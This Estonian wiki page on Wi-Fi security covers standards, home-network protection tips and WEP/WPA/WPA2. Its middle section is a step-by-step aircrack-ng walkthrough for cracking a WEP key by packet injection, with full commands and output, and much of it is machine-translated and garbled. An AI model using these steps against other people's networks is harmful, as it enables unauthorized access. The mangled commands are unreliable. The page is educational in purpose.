Wifi turve: Difference between revisions

Revision as of 22:58, 2 June 2012

WiFi (Wireless Fidelity) ehk raadiokohtvõrk või raadio-Ethernet. Wi-Fi on WECA (Wireless Ethernet Compatibility Alliance) poolt propageeritav kaubamärk, vastab raadiokohtvõrgu standardile IEEE 802.11 ning kujutab endast Ethernet-kohtvõrku, kus kaablid on asendatud raadiolinkidega ja kasutatakse raadio-Etherneti otsejada-versiooni (DS). WiFi on ühilduv PC-kaartidega ja WiFi logot kandvate tugijaamadega. Vahel kutsutakse raadiokohtvõrke ka "traadita Internetiks", kuid tegelikult on ikkagi tegemist traadita kohtvõrkudega, mis võivad muidugi olla ühendatud ka Internetiga.

Sissejuhatus

Paljud inimesed küll kasutavad Wi-Fit kuid pole teadlikud selle erinevatest standarditest ja turvalisusega seotud probleemidest. Nii Eestis kui ka mujal maailmas on viimase kümnendi jooksul toimunud revolutsioon juhtmeta internetiühenduste valdkonnas. Kuigi alles 2001 aastal käivitus esimene avalik WiFi Leviala Eestis, on nüüdseks jõutud olukorda, kus tundub imelik, kui kohvikusse või mõnesse muusse avalikku teenust pakkuvasse asutusse minnes ei ole võimalik ligi pääseda ühessegi traadita interneti levialasse. Lisaks arvutitele on nüüdseks juba ka suuremal osal kallima hinnaklassiga mobiiltelefonidel juures võimalus ühendada ennast traadita interneti võrku. See toob endaga kaasa aga juba uusi funktsioone nagu näiteks tasuta VoIP kõned või internetiraadiod mobiiltelefonides, mis omakorda suurendavad nõudlust järjest rohkemate levialade järele.
Wi-Fi on tänapäeval väga tuntud ja laialdaselt levinud. Wi-Fi leviala võib leida peaaegu igas natuke suuremas kohvikus, pubis, baaris ja nüüd on võimalik seda leida ka pargis, rääkimata kodudest ja kontoritest. Võimalik, et paljud üldse ei tea, mida täpsemalt tähendab see salapärane lühend Wi-Fi, mida kõik nii uljalt kasutavad, rääkimata sellest, et nad teaksid, millised on Wi-Fi erinevad standardid ja andmeturbe protokollid. Kui minna natuke lähemalt siis minu jaoks Wi-Fi ilmumise aeg oli nagu suur revolutsioon, sest mina ei saanud aru kuidas saab kasutada Interneti ilma traadideta, istuda kodus oma läpakaga näiteks voodi peal kuulata muusikat ja surfata internetis.
Ja kuna see on meie tänapäevane elu siis see on mitteturvaline ja kõik kes tahab midagi kurja teha saab seda kergesti realiseerida ja selleks, et vältida raskuseid ja ründeid Wi-Fi kaitseks tuleksid erinevad turveprotokollid, mis vastavad stardarditele. See on nagu meie elu, kõik peab olema turvaline, näiteks korterites on uksed koos lukuga ja kui mina ei taha, et keegi tuli minu juurde siis ma panen korteri luku või signalisatsiooni.
Esialgu olid personaalsed võrgud täiesti kaitseta kuni võrguhaldaja ise ta kaitse alla pani. Sellest hoolimata on suur osa võrkudest siiamaani turvatud kas nõrga turvalisusega WEP algoritmiga või üldse laiali maailmale täiesti avatud. Minu kodus näiteks on üks Wi-Fi leviala, mis on turvatud WPA2 abil, aga näiteks kui vaadata milliseid levialad on meie majas veel on olemas, siis on selline pilt, et mõned on täiesti avatud igaühele, kes vähegi soovib internetti kasutada. Minu arvates see on ebamugav, üldse mitteturvaline ja mõtetus asi, kui on olemas Wi-Fi leviala, pane näiteks parooli, et see on parem kui ilma paroolideta. Selline olukord loob aga suurepärase võimaluse pahatahtlikel inimestel võrku pealt kuulata ning saada informatsiooni näiteks salajaste paroolide või muude tähtsate andmete kohta.
Wi-Fi on meie maailmas arenb edasi suure sammudega ja see mis meil on tänapäeval olemas ei ole piir. Kõigepealt, kuna areneb traadita andmeside siis koos sellega ilmuvad uued krüptoalgoritmid ja protokollid mis on loomulikult arenevad koos Wi-Figa. Seega on selge, et interneti tulevik kuulub WiFi-le.

Kasutusala

Wi-Fi on kasutusel kodustes võrkudes, kontorites, mobiiltelefonides, videomängudes ja paljudes teistes elektroonilistes seadmetes mis vajavad mingisugust traadita võrku. Wi-Fi tehnoloogiat toetavad peaaegu kõik tänapäevased arvuti operatsioonisüsteemid, mängukonsoolid ning ka paljud printerid ja teised välisseadmed.
Wi-Fi eesmärk on pakkuda traadita ligipääsu digitaalsele sisule. Selle sisu alla võivad kuuluda nii rakendused, heli, visuaalne meedia, Interneti ühendus ning ka muud andmed. Wi-Fi muudab informatsioonile ligipääsu üldiselt lihtsamaks, kuna see saab eemaldada mõningad füüsilised piirangud mis on seotud kaabeldusega. Wi-Fi’ga varustatud seade nagu näiteks PC, mängukonsool, mobiiltelefon, MP3 mängija või PDA saab ühenduda Internetiga, kui see asub traadita võrgus, mis on ühendatud internetiga.
Peale selle, et Wi-Fit kasutatakse kodudes ja kontorites, on see laialt kasutuses ka avalikes kohtades, kus pakutakse traadita Interneti teenust kas tasuta või siis mingi rahasumma eest. Wifi.ee andmetel on praegu Eestis kokku 1175 Wi-Fi- leviala 45 000 km2 kohta. Tartumaal asub neist 98 leviala, millest enamik asub Tartu linnas.

Koduvõrgu kaitsmine

Kui sõita läbi Tallinna kesklinna Mustamäele ja tagasi, jääb marsruudile ligi 1200 WiFi leviala, paljud küll asutuste, kuid enamus siiski kodukasutajate omad. Rõõmustaval kombel on 80-90% neist kasvõi mingilgi määral kaitstud, nii et pätt, kes neid kuritarvitada püüab, riskib juba ametlikult paragrahviga, mis räägib arvutivõrgu ebaseaduslikust kasutamisest kaitsevahendi kõrvaldamise teel. Esimene ja kõige tähtsam: muuta ruuteri vaikeseadeid! Iga ruuteri kasutusjuhend koos vaikeparooliga on netist vabalt allalaaditav ning administraatori, mõnel juhul ka vaikekasutaja parooli muutmata jätmine on sama, mis lahtisele uksele veel ka võtmed ette unustada.
Kindlasti tuleks muuta ka SSID (Service Set Identfier ehk teenusevõrgu nimi, mille ruuter välja saadab), kasvõi selleks, et koduvõrk naabrimehe omaga vahetusse ei satuks (mõelge oma üleelamistele olukorras, kus naabrimees kasvõi kogemata teie allalaadimiskiirusest oma osa saab), aga ka sellepärast, et näiteks mõnede Linksys’i mudelite puhul piisas vähemalt mõnda aega tagasi SSID teadmisest, et selle tarkvara uuega asendada. Kui ruuteri tarkvara vähegi võimaldab (ja enamus võimaldab), tuleks SSID väljakuulutamine üldse ära keelata. Suunatud rünnaku vastu see küll ei aita, kuid keskkoolikräkker võib SSID väljanuuskimiseks kuluvat aega liiga tüütuks pidada.
Kui ruuteri tarkvara sellega hakkama saab, tuleks kasutada MAC-aadressi (iga võrgukaardi unikaalne identifikaator) põhist filtreerimist, omistada igale võrku kasutavale arvutile staatiline IP ja ülejäänud IP aadresside vahemikule ligipääs keelata. Jällegi – kunagi ei tea, kas kurjam viitsib MAC- ja IP aadressi võltsimisega vaeva näha.
Kõige tähtsam – kasutage signaali krüpteeringut, nii kanget, kui teie ruuter vähegi kannatab. 64-bitist WEP-i murrab kurikael mõned minutid, 128-bitist WEP-i kuni kaks tundi, kui parool just sõnaraamatus kirjas ei ole, WPA-d võib ta heal juhul murdma jäädagi. Toore jõuga (brute force) kuluks WPA murdmiseks päevi, selle asemel rünnatakse pigem krüpteerimisvõtme vahetushetke, mis WPA lihtsamate versioonide puhul on teinekord veerand tunniga lahtimurtav. Siiski on WPA, eriti selle kommertsversioonid tunduvalt turvalisemad kui WEP, viimane aga on kindlasti parem kui igasuguse krüpteeringu puudumine.
Ja veel kaks võtet koduvõrgu kaitsmiseks: ruuter tuleks püüda paigutada nii, et selle leviala ruumidest võimalikult vähe välja ulatuks, kui aga WiFi-t pikka aega ei kasutata, on targem ruuter üldse välja lülitada.

WiFi-võrkude turvalisus

WiFi turvalisus on väga keeruline ja mitmetahuline teema. Selge on aga see, et võimalike probleemide ees silma kinnipigistamine olukorda ei lahenda. WiFi levib tahes-tahmata ja ükskõik kui hästi te seda ka varjestada või piiritleda ei prooviks, ikkagi levib see teie eluruumidest kaugemale.
Kogutud Aga kuidas on lood WiFi piiramisega andmete põhjal on 42% Tallinna WiFi-seadmetest lahtise võrguga (ilma WEP või WPA kaitseta). See ei tähenda küll päris nelja tuhandet (mitteametlikku) avalikku internetipunkti, sest selles statistikas ei kajastu MAC-aadressi kontrolliga piiratud võrgud ega keerulisemaid turvameetmeid. Ent kui vaadata, kui palju on samas tootjanimedega võrke (Linksys, Default, Wireless, WLAN), võib kahtlustada, et enamikule neist on täiesti vaba juurdepääs.
Enamik kontvõõrastest kasutajatest pole ju pahatahtlikud – tahavad lihtsalt netis surfata, meile lugeda, sõnumsidet kasutada. Peate ainult arvestama sellega, et võõras arvutis olevad viirused võivad ohustada teiegi arvutit ning kui netiühendus järsku väga aeglaseks jääb, võib olla süüdi teie heatahtlikkust kuritarvitav naabripoiss – kasutage alati tulemüüri, viirusetõrjet ning kahtluste korral jälgige võrguseadmest, millised MAC-aadressid on viimasel ajal teie võrguühendust tarbinud.

SSID ja MAC-aadress

Igal WiFi-võrgul on oma nimi. Seda saab ise määrata. Mõistlikuks ei saa pidada ka oma aadressi kasutamist SSID-nimena – Korter 12, II korrus, Firmanimi OÜ jne. Kui tõesti tahate, et võõrad teie WiFi-võrguga liituda oskaksid, kasutage meiliaadressi või telefoninumbrit. Firmanime kasutamine hõlbustab häkkerite tööd, kodune aadress võib olla aga reklaamiks varastele – siit on vähemalt arvuti kaasa võtta. MAC-aadress on unikaalne kood, mis on igal võrgukaardil ja võrguseadmel erinev. Tüüpiliselt on see aadress kujul 00:02:3F:33:4A:89. Sellest esimesed kolm märgivad tootjafirmat (00:02:3F – Intel Corp), tagumised kolm moodustavad iga kaardi kordumatu koodi.
MAC-aadresside litsentseerimisega tegeleb IEEE Standards Association. MAC-aadress ehk meediumipöörduse juhtimise aadress (inglise keeles Media Access Control) on võrguseadmete unikaalne identifitseerija, mis määratakse võrgukaardile tootmise käigus. Tootja poolt määratud MAC aadress võiks olla ülemaailmselt unikaalne, kuid on siiski tarkvaraliselt muudetav enamusel 21. saj alguse võrgukaartidel.

WEP, WPA, WPA2

WEP ehk Wired Equivalent Privacy on protokoll, mis loodi tegemaks standardile IEEE 802.11 vastav traadita internetiühendus sama turvaliseks kui seda on tavaline juhtme teel leviv internetiühendus. WEP kasutab krüpteerimiseks RC4 algoritmi ning tervikluse hindamiseks CRC32 kontrollsummasid. Võtme pikkuse järgi eristatakse 64, 128 ja 256 bitiseid WEP-e, mis kasutavad siis vastavalt 40, 104 ja 232 bitiseid paroole. Igale kasutaja poolt sisestatud salajasele võtmele lisatakse 24 bitine IV (Initialization Vector) vektor, mille järgi siis kokkuvõttes krüpteeritakse paketid kasutades RC4 algoritmi. Üheks suurimaks WEP turvaprobleemiks on liigselt väike erinevate võimalike IV vektorite hulk. WEP on väga lihtsalt lahti murtav, arvuti tegi seda IT Kolledzi laborites viie minuti jooksul, oli väga huvitav.

WPA loodigi WEP krüpteeringu asendamiseks. Eksisteerib 2 lahendust – WPA-PSK ja WPA Enterprise. WPA-PSK puhul kasutatakse kõigil WiFi klientidel sama 8-63 märgi pikkust parooli. See on turvaline ainult siis, kui valida vähemalt 33 märgi pikkune suvalistest märkidest koosnev parool. WPA Enterprise lahenduses kasutatakse RADIUS serverit, seega iga kasutaja peab WiFi võrku sisse logima oma kasutajanime ja parooliga.

WPA2 on WPA uuem versioon, milles on kohustuslikuks tehtud tugevama krüpteeringu kasutamine. Praegusel momendil loetakse ainukeseks lihtsasti kättesaadavaks WiFi turvalisuseks WPA2 Enterprise lahendust. WPA on andmeturbe protokoll, mis kasutab TKIP (Temporal Key Integrity Protocol) protokolli ja AES (Advanced Encryption Standard) algoritmi ning autentimiseks EAP (Extensible Authentication Protocol) protokolli. WPA on küll palju turvalisem kui WEP, kuid siiski on tänapäeval juba võimalik ka seda andmeturbe protokolli lahti murda. WPA2 on WPA edasiarendus. Praeguse seisuga on see kõige turvalisem andmeturbe protokoll, mida ei ole võimalik eriti lihtsalt lahti murda.

WEP ja WPA krüpteeringu murdmine

Suvalise võtmepikkusega WEP on murtav kuni paarikümne minutiga, sest krüptovõtit murda pole vaja – tänu vigadele krüptosüsteemis on vaja koguda vaid piisaval hulgal 24-bitiseid initsialiseerimisvektoreid (Initialisation Vector ehk IV). Statistiliste võrdlusmeetoditega leiab häkkimisprogramm 64-bit WEPi puhul õige võtme juba 20 000 – 40 000 IV paketi korral. 128-bit WEPi murdmiseks võib vaja minna kuni 1 miljon IV paketti.
WEP võtme murdmiseks läbi access pointi ehk AP, on meil vaja koguda initsialiseerimisvektoreid (IVS). Tavaline võrguliiklust ei ole tavaliselt tekitavad need IVS väga kiiresti. Teoreetiliselt, kui sa oled kannatlik, saad koguda piisavalt IVS crack WEP võti lihtsalt kuulata võrguliiklust ja säästa neid. Kuna keegi meist on kannatlik, mida me kasutame tehnikat nimega süsti, et kiirendada protsessi. Süsti tegemist olles pääsupunkti (AP) uuesti valitud pakettide ikka ja jälle väga kiiresti. See annab meile võimaluse lüüa suure hulga IVS lühikese aja jooksul.

Kui oleme püütud suur hulk RVT, saame kasutada neid määrata WEP-võti.

Siin on põhilised sammud, me läbimas:
Alusta traadita liides monitori režiimi konkreetse AP kanal Testi süsti võime traadita seade AP Kasuta aireplay-ng teha võltsitud autentimine pöörduspunkti Alusta airodump-ng on AP kanal bssid filter, et koguda uusi ainulaadne RVT Alusta aireplay-ng ARP taotluse replay mode süstida paketid Käivita aircrack-ng crack võti kasutades IVS kogutud

Samm 1 - Alustada traadita liides monitori iim AP kanal

Käesoleva samm on panna oma kaart nn monitor režiimis. Monitor režiimis on režiim, mille kaardi saab kuulata iga pakettaknad õhus. Tavaliselt kaardi ainult "kuulda" pakette saata teile. Kuulmise järgi iga pakettaknad, saame hiljem valida mõned valmistamiseks. Samuti, ainult (seal on mõned harvad erandid välja arvata) monitor režiim võimaldab teil süstida pakettides. (Märkus: see kord on erinev, mitte-Atheros kaarte.)

Esimene peatus ath0 sisestades:

 airmon-ng stop ath0 
Süsteem vastab: 
 Interface Chipset Driver

 wifi0 Atheros madwifi-ng
 ath0 Atheros madwifi-ng VAP (vanem: wifi0) (VAP hävitatud) 
Enter "iwconfig", et tagada puuduvad muud athX liidesed. See peaks välja nägema selline: 
 lo ole traadita laiendusi.

 eth0 ei ole traadita laiendusi.

 wifi0 ole traadita laiendusi. 
Kui on jäänud athX liidesed, siis lõpetage igaüks. Kui olete lõpetanud, käivitage "iwconfig" tagada puuduvad vasakule.

Nüüd sisesta järgmine käsk alustada traadita kaardi kanal 9 monitoril režiim:

 airmon-ng hakata wifi0 9 
Asendaja kanali number, et teie AP töötab for "9" on käsk eespool. See on oluline. Sul peab olema oma traadita võrgu kaardi lukus AP kanal järgmised sammud selles juhendaja tööd korralikult.

Märkus: seda käsku, mida me kasutame "wifi0" asemel meie traadita liides "ath0". Seda seetõttu, et madwifi-ng autojuhid ei kasutata. Teiste juhtide, kasutage juhtmeta liideseks nimi. Näited: "wlan0" või "rausb0".

Süsteem vastab:

 Interface Chipset Driver

 wifi0 Atheros madwifi-ng
 ath0 Atheros madwifi-ng VAP (vanem: wifi0) (monitor oli sisse lülitatud) 
Sa märkad, et "ath0" on teatatud üle kui pannakse monitor režiimis.

Kinnitada liidest oska kirjutada "iwconfig".

Süsteem vastab:

 lo ole traadita laiendusi.

 wifi0 ole traadita laiendusi.

 eth0 ei ole traadita laiendusi.

 ath0 IEEE 802.11g ESSID: "" Nimi: ""
        Mode: Monitor Frequency: 2,452 GHz Access Point: 00:00 F: B5: 88: AC: 82   
        Bit Rate: 0 kb / s Tx-Power: 18 dBm tundlikkus = 0/3  
        Uuesti: ära RTS THR: off Fragment THR: off
        Encryption key: off
        Power Management: off
        Link Quality = 0/94 Signal level = -95 dBm Noise level = -95 dBm
        Rx kehtetu nwid: 0 Rx kehtetu crypt: 0 Rx kehtetu frag: 0
        Tx liigne üritab: 0 Invalid misc: 0 Vastamata majakas: 0 
Vastuses mainitud, siis näete, et ath0 on monitor režiimi kohta 2.452GHz sagedusega, mis on kanal 9 ja Access Point näitab MAC aadressi oma traadita võrgu kaardi. Pange tähele, et ainult madwifi-ng draiverid näitavad MAC-aadress teie traadita kaardi, teised autojuhid ei tee seda. Nii et kõik on hea. Oluline on kinnitada kogu see info enne jätkamist, muidu järgmised sammud ei tööta korralikult.

Sobitada sagedus kanal, kontrollige See annab teile sagedus iga kanali.

Samm 2 - Test Wireless Device Packet Injection

Käesoleva samm tagab, et teie kaart on sees kaugusel oma AP ja võib süstida paketid see.

Sisenevad:

 aireplay-ng -9-e teddy-0:14:06 C: 7E: 40:80 ath0 
Kus:

■

-9 Vahenditega süsti test

■

-E mängukaru on traadita võrgu nime

■

-A 00:14:06 C: 7E: 40:80 on pöörduspunkti MAC aadress

■

ath0 on traadita liidese nimi

Süsteem peab vastama nii:

 09:23:35 Ootan majakas raam (bssid: 00:14:06 C: 7E: 40:80) on kanal 9
 09:23:35 Proovin eetrisse sond vaatamist ...
 09:23:35 Injection töötab!
 09:23:37 Leitud 1 AP 

 09:23:37 Proovin suunatud sond vaatamist ...
 9:23:37 0:14:06 C: 7E: 40:80 - channel: 9 - "teddy"
 09:23:39 Ping (min / avg / max): 1.827ms/68.145ms/111.610ms Power: 33,73
 9:23:39 30/30: 100% 
Viimane rida on oluline. Ideaalis tuleks öelda 100% või väga suur protsent. Kui see on väike, siis oled liiga kaugel AP või liiga lähedal. Kui see on null, siis süsti ei tööta ja sa pead lappima oma juhte või kasutada erinevaid draivereid.

Vaata süsti test rohkem üksikasju.

Samm 3 - Start airodump-ng lüüa RVT

Käesolevas etapis on lüüa IVS tekkinud. See samm hakkab airodump-ng lüüa IVS alates teatud pöörduspunkti.

Avada teise konsooliseansiga lüüa loodud RVT. Seejärel sisestage:

 airodump-ng-C 9 - bssid 00:14:06 C: 7E: 40:80-w väljund ath0 
Kus:

■

-C 9 on kanal traadita võrgu

■

- -Bssid 00:14:06 C: 7E: 40:80 on pöörduspunkti MAC aadress. See kõrvaldada kõrvalised liiklust.

■

-W püüdmine on failinime prefiks fail, mis sisaldab RVT.

■

ath0 on interface nime.

Kuigi süstimine toimub (hiljem), ekraan välja selline:

 CH 9] [Kulunud: 8 min] [2007/03/21 19:25 
                                                                                                             
 Bssid PWR RXQ Beacons # Data, # / s CH MB EKN cipher AUTH ESSID
                                                                                                           
 00:14:06 C: 7E: 40:80 42 100 5240 1783 07 338 9 54 WEP WEP mängukaru                           
                                                                                                           
 Bssid STATION PWR Unustasid paketid Probes                                             
                                                                                                           
 00:14:06 C: 7E: 40:80 00:00 F: B5: 88: AC: 82 42 0 183782 
Samm 4 - Kasutage aireplay-ng teha võltsitud autentimine pöörduspunkti

Et pöörduspunkti vastu pakettaknad, allikas MAC aadress peavad olema seotud. Kui allikas MAC aadress te süstite ei ole seotud, siis AP ignoreerib pakettaknad ja saadab "Deautentimine" pakett meiliga. Selles olekus, ei ole uus RVT on loodud, sest AP eirab kõiki süstitud pakettides.

Puudumine koos pöörduspunkt on suurim põhjus, miks süst ebaõnnestub. Pea meeles kuldne reegel: MAC mida kasutad süst peab olema seotud AP kas kasutades võltsitud autentimise või kasutada MAC alates juba seotud kliendile.

Seostada pöörduspunkti kasutada võltsitud autentimine:

 aireplay-ng -1 0-e teddy-0:14:06 C: 7E: 40:80-h 00:00 F: B5: 88: AC: 82 ath0 
Kus:

■

-1 Tähendab võlts autentimine

■

0 tellijaks on aeg sekundites

■

-E mängukaru on traadita võrgu nime

■

-A 00:14:06 C: 7E: 40:80 on pöörduspunkti MAC aadress

■

-H 00:00 F: B5: 88: AC: 82 on meie kaardi MAC aadress

■

ath0 on traadita liidese nimi

Edu välja näeb:

 18:18:20 Saadan Authentication taotlus
18:18:20 Authentication edukas
18:18:20 Saadan Association taotlus
18:18:20 Association edukas :-) 
Või muu vaheldus Nirso juurdepääsu punktidega: 
 aireplay-ng -1 6000-o 1-q 10-e teddy-0:14:06 C: 7E: 40:80-h 00:00 F: B5: 88: AC: 82 ath0 
Kus:

■

6000 - Reauthenticate iga 6000 sekundi jooksul. Pika aja põhjustab ka elus hoida paketid tuleb saata.

■

-O 1 - Saada ainult ühe komplekti paketid korraga. Vaikimisi on mitu ja see ajab mõned AP.

■

-Q 10 - Saada hoida elus paketid iga 10 sekundit.

Edu välja näeb:

 18:22:32 Saadan Authentication taotlus
18:22:32 Authentication edukas
18:22:32 Saadan Association taotlus
18:22:32 Association edukas :-)
18:22:42 Saadan ülalhoidmise pakettaknad
18:22:52 Saadan ülalhoidmise pakettaknad
# Ja nii edasi. 
Siin on näide sellest, mida ei autentimist näeb välja selline: 
 8:28:02 Saadan Authentication taotlus
18:28:02 Authentication edukas
18:28:02 saatmine Association taotlus
18:28:02 Association edukas :-)
18:28:02 Got Deautentimine pakettaknad!
18:28:05 Saadan Authentication taotlus
18:28:05 Authentication edukas
18:28:05 saatmine Association taotlus
18:28:10 Saadan Authentication taotlus
18:28:10 Authentication edukas
18:28:10 saatmine Association taotlus 
Teade "Got Deautentimine pakettaknad" ja pideva üritab eespool. Ärge jätkake järgmise sammu, kuni teil on võlts autentimine töötab õigesti.

Tõrkeotsingunäpunäiteid

■

Mõned juurdepääsupunktid on konfigureeritud lubada, et ainult valitud MAC aadressid siduda ja ühendada. Kui see nii on, siis ei saa edukalt teha võltsitud autentimise kui te ei tea üks MAC aadressid on lubatud nimekirja. Kui te kahtlustate, et see on probleem, kasutage järgmist käsku püüdes teha võltsitud autentimist. Alusta teine istung ja ...

Run: tcpdump-n-vvv-S0-e-i <interface name> | grep-i-E "(RA: <MAC aadressi card> | Authentication | ssoc)"

Sa oleks siis otsida veateateid. ■

Kui mingil ajal soovite kinnitada olete korralikult seotud on kasutada tcpdump ja vaadata pakettides. Alusta teine istung ja ...

Run: "tcpdump-n-e-S0-vvv-i ath0"

Siin on tüüpiline tcpdump veateadet te otsite:

 11:04:34.360700 314us bssid: 00:14:06 c: 7e: 40:80 DA: 00:00 F: B5: 88: AC: 82 SA: 00:14:06 c: 7e: 40:80 Deautentimine: Class 3 raam saadud nonassociated jaam 
Pange tähele, et pöörduspunkti (0:14:06 c: 7e: 40:80) räägib allikas (00:00 F: B5: 88: AC: 82) sa ei ole seotud. Tähenduses, AP ei töödelda või vastu süstitud pakettides.

Kui soovite valida ainult DeAuth pakette tcpdump siis saab kasutada: "tcpdump-n-e-S0-vvv-i ath0 | grep-i DeAuth". Võimalik, et peate näpistama fraasi "DeAuth" välja noppida täpselt paketid tahad.

Samm 5 - Alustada aireplay-ng ARP taotluse kordus režiimi

Käesolevas etapis on alustada aireplay-ng režiimis, mis jälgib ARP taotluste siis reinjects neid tagasi võrku. Selgitust, ARP, näha seda PC Magazine lehele või Wikipedia . Põhjus, miks me valida ARP taotluse paketid seetõttu AP tavaliselt kordusteadet andma eetrisse neid ja loob uusi IV. Ka see on meie eesmärk, et saada suur hulk IVS lühikese aja jooksul.

Avada teise konsooliseansiga ja nad sisenevad:

 aireplay-ng -3-b 00:14:06 C: 7E: 40:80-h 00:00 F: B5: 88: AC: 82 ath0 
See hakkab kuulates ARP taotleb ja kui ta kuuleb, 1, aireplay-ng kohe seda süstida. Vaata genereerimine ARPS sektsioon trikke teeniva ARPS kui ekraanil ütleb "sai 0 ARP taotlused" pärast oodanud kaua.

Siin on, mida ekraanil näeb välja kui ARP taotlused süstitakse:

 Salvestamine ARP päringutele replay_arp-0321-191525.cap
 Sa peaksid alustama airodump-ng lüüa vastust.
 Loe 629399 pakette (sain 316283 ARP taotlused), mis saadeti 210955 paketid ... 
Te võite kinnitada, et te süstite kontrollides oma airodump-ng ekraanil. Andmepaketid tuleks kasvab kiiresti. "# / S" peaks olema korralik number. Siiski, korralik sõltub paljudest teguritest. Tüüpiline vahemik on 300-400 andmepaketid sekundis. See võib nii madalale kui 100/second ja koguni 500/second.

Tõrkeotsingunäpunäiteid

■

Kui teile saabub sõnum sarnane "Got deauth / disassoc pakettaknad. Kas allikas mac seotud? ", See tähendab, olete kaotanud koos AP. Kõiki oma süstida paketid ignoreeritakse. Sa pead tagasi võltsitud autentimise sammult (Step 3) ja edukalt seostavad AP.

Samm 6 - Run aircrack-ng saada WEP võti

Käesolevas etapis on saada WEP võtme IVS kogutud eelnevaid samme.

Märkus: õppimise eesmärgil, siis tuleks kasutada 64 bit WEP võti oma AP kiirendada krakkimise. Kui see nii on, siis saab ka "-n 64" piirata kontrollimise võtmetest 64 bitti.

Kaks meetodit näidatakse. Soovitatav püüad nii õppimise eesmärgil. Püüdes mõlemad meetodid, näed kiiresti PTW meetod edukalt määrab WEP võti võrreldes FMS / Korek meetod. Nagu meeldetuletus, PTW meetod töötab ainult edukalt ARP taotluse / vastuse pakettides. Kuna see õpetus hõlmab süsti ARP taotluse paketid, saab korralikult kasutada seda meetodit. Teine nõue on, et jäädvustada kogu pakett koos airodump-ng. Tähenduses, ei kasuta "- -IVS "variant.

Alustada uut konsooli istung ja nad sisenevad:

 aircrack-ng-b 00:14:06 C: 7E: 40:80 väljund *. kork 
Kus:

■

-B 00:14:06 C: 7E: 40:80 valib 1 pöörduspunkti oleme huvitatud See on valikuline, sest kui me algselt pildistatud andmed, meil rakendatakse filtrit ainult andmete hõivamiseks selle 1 AP.

■

väljund *. cap valib kõik failid mis algavad "output" ja lõpeb ". kork".

Kasutada ka FMS / Korek meetod, alustada uut konsooli istung ja nad sisenevad:

 aircrack-ng-K-b 00:14:06 C: 7E: 40:80 väljund *. kork 
Kus:

■

-K viitab FMS / Korek meetod

■

-B 00:14:06 C: 7E: 40:80 valib 1 pöörduspunkti oleme huvitatud See on valikuline, sest kui me algselt pildistatud andmed, meil rakendatakse filtrit ainult andmete hõivamiseks selle 1 AP.

■

väljund *. cap valib kõik failid mis algavad "output" ja lõpeb ". kork".

Kui sa kasutad 1,0-RC1 lisada variant "-K" FMS / KoreK rünnak. (1,0-RC1 vaikimisi PTW.)

Võite käivitada see samas teeniva pakettides. Lühikese aja jooksul, WEP võti arvutatakse ja esitatakse. Sa pead umbes 250000 RVT jaoks 64 bit ja 1500000 RVT jaoks 128 bit võtmeid. Kui sa kasutad PTW rünnak, siis pead umbes 20.000 paketid jaoks 64-bit ja 40.000 kuni 85.000 paketid jaoks 128 bit. Need on väga ligikaudne ja seal on palju muutujaid, kui palju RVT kui tegelikult on vaja crack WEP-võti.

Siin on, mida edu välja näeb:

 Aircrack-ng 0,9


                              [00:03:06] Testitud 674449 võtmed (sain 96610 IVS)

 KB sügavus bait (hääletus)
  0 0/9 12 (15) F9 (15) 47 (12) F7 (12) FE (12) 1B (5) 77 (5) A5 (3) F6 (3) 03 (0) 
  1 0/8 34 (61) E8 (27) E0 (24) 06 (18) 3B (16) 4E (15) E1 (15) 2D (13) 89 (12) E4 (12) 
  2 0/2 56 (87) A6 (63) 15 (17) 02 (15) 6B (15) E0 (15) AB (13) 0E (10) 17 (10) 27 (10) 
  3 1/5 78 (43) 1A (20) 9B (20) 4B (17) 4A (16) 2B (15) 4D (15) 58 (15) 6A (15) 7C (15) 

                       KEY LEITUD!  [12:34:56:78:90] 
      Tõenäosus: 100% 
Pange tähele, et sel juhul kulus palju vähem siis hinnanguliselt 250.000 IVS crack võti. (Antud näites FMS / KoreK rünnak oli kasutatud.)

Wi-Fi krüpteering

Krüpteerides oma raadiovõrku hoiad eemal inimesed (kaasa arvatud naabrid), kes muidu kasutaks seda tasuta internetti pääsemiseks. On ka inimesi, kes meelega jätavad oma võrgu avalikuks. Kuid siis peab arvestama, et enda arvuti on korralikult kaitstud tulemüüri ning viirusetõrjega, sest võrgus olevates arvutites võivad peituda viirused. Krüpteerimine aitab aga takistada sissetungijaid, kes muidu kuulaksid võrguliiklust pealt ning vajalike oskustega tuvastaksid ka nt minu internetipanga paroolid. Kolm valdavat standardit juhtmevaba krüpteeringu jaoks on järgnevad: WEP on algupärane kaitse, mis seostati esimeste ruuteritega ning on ühtlasi ka kõige nõrgem. Vastavate vahendite olemasolul saab sissetungija WEP-krüpteeringuga (kaitstud) võrku sisse murda .Seda peetakse peaaegu vananenud tehnoloogiaks, seega on soovitatav kasutada WEP-krüpteeringut ainult siis, kui kasutad vanemat sülearvutit või omad seadmeid, mis ei võimalda uuemate krüpteeringute kasutamist. (bcarigtan, 2009) Et andmeid krüpteerida kasutab WEP salajasi võtmeid. Nii tugijaam kui kavastuvõtvad seadmed peavad teadma salajasi võtmeid. Kasutaja peab ära määrama WEP-i kasutamise ning valima võtmetugevuse 64 või 128 bitti. Seejärel tuleb valida võtmesõnad. Võti võib koosneda numbritest (0 .. 9) ja tähtedest (A .. F). 64-bitise võtmetugevusega tekib 10-märgiline võtmesõna. 128-bitilise võtmetugevusega tekib 26-märgilinevõtmesõna. Internetis on väga palju õpetusi, kuidas on võimalik WEP-krüpteeringugawifiühendusse sisse murda. WPA loodi, et parandada turvaaugud WEP-is. WPA on mugavam kui WEP, sest WPAl sobivad võtmesõnaks kõik tähed ja numbrid. Kasutajal püsib parool paremini meeles, sest kasutaja saab ise valida endale meelepärase tähendusega sõna. WPA2 – on WPA edasiarendus ning seda peetakse kõige tugevamaks mittekaubanduslikuks krüpteerimise kavaks 802.11x võrkude jaoks. WPA2 rakendab kohustuslikke 802.11i elemente. WPA2 on turvalisem, kui WPA, kuna kasutab AES põhist algoritmi. On teada juhtumeid, kus mõnda veebilehte ei kuvata korralikult kui kasutaja kasutab AES krüpteeringut, seega peaks kasutama TKIP-i (vt.lisad) ning katsetama, kas see parandab probleemi. WPA-PSK on wifi kodukasutajale kõige mugavam lahendus. Parool tuleb sisestada kaks korda (Windowsi operatsioonisüsteemi puhul) ning edaspidi pole vaja seda enam sisestada. Kõige kindlam ja turvalisem on kasutada WPA2-te koos AES või TKIP krüpteeringuga.

Wi-Fi jälgimis- ning sissemurdmisrakendused

